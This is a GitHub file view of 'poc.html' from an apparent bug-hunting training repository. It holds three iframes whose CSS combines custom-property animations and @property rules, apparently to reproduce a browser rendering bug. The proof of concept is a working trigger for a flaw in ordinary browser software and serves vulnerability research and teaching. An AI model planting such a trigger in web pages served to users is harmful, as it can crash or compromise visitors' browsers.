forked from StarCrossPortal/bug-hunting-101
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpoc.html
52 lines (46 loc) · 1.11 KB
/
poc.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<iframe id="result" srcdoc="
<style>
.rainbow__band:nth-of-type(2) {
--hue: 35;
}
</style>
<div class="rainbow__band" style="--index: 0;"></div>"
>
</iframe>
<iframe id="result" srcdoc="
<style>
.rainbow__band {
-webkit-animation: rainbow 2s calc(var(--index, 0) * -0.2s) infinite linear;
animation: rainbow 2s calc(var(--index, 0) * -0.2s) infinite linear;
}
@-webkit-keyframes rainbow {
0%, 100% {
--hue: 10;
}
}
</style>
<div class="rainbow__band" style="--index: 0;"></div>
</div>
">
</iframe>
<iframe id="result" srcdoc="
<style>
@property --hue {
initial-value: 0;
inherits: false;
syntax: '<number>';
}
.rainbow__band {
-webkit-animation: rainbow 2s calc(var(--index, 0) * -0.2s) infinite linear;
animation: rainbow 2s calc(var(--index, 0) * -0.2s) infinite linear;
}
@keyframes rainbow {
to {
--hue: 360;
}
}
</style>
<div class="rainbow__band" style="--index: 0;"></div>
</div>"
>
</iframe>